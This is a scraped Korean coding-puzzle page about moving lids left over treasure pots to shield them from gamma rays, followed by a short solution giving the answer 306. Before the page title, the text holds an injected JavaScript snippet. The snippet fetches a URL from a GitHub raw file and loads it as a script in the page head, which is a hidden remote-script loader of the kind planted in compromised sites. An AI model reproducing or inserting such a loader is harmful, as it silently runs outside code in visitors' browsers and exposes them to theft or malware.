;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 15. 감마선 (9점) – 상상톤[강코딩]

15. 감마선 (9점)

작성자
kangcoding
작성일
2024-05-02 13:06
조회
407
12개의 보물 단지가 좌우로 놓여 있다. 각 보물 단지는 양의 정수의 가치를 가진다. 또, 몇몇의 보물 단지위에는 감마선을 막아주는 뚜껑이 있다.
보물을 감마선으로부터 보호하기 위하여 여러분은 뚜껑을 옮길 수 있다. 이때,

1. 뚜껑은 왼쪽으로만 한 칸씩 옮길 수 있고,

2. 하나의 보물 단지 위에는 많아야 한 개의 뚜껑만 있을 수 있다.

보물 단지를 열게 되면 하늘에서 감마선이 내리쬐기 때문에, 이때 위에 뚜껑이 없는 보물 단지는 가치가없어져버린다.
여러분의 목표는 보호되는 보물 단지의 가치의 합이 가장 크도록 뚜껑을 0번 이상 옮기는 것이다. 각 정사각형은 하나의 보물 단지를 나타내며, 안에 적힌 수는 그 가치를 뜻한다. 사다리꼴 모양의 도형은 뚜껑을 의미한다. 여러분은 이 도형을 클릭해서 뚜껑을 왼쪽으로 한 칸 옮길 수 있다.
하단에 있는 초기화 버튼을 클릭하면 모든 뚜껑이 초기 위치로 돌아간다. 목표를 달성했다면 반드시 제출을 해야 득점할 수 있다.



========== 풀이 ==========
뚜겅은 왼쪽으로만 옮겨야 하므로
32->39
49->53
47->59
51->49
39->55
48->51
로 이동하면 된다.

정답 : 306
전체 0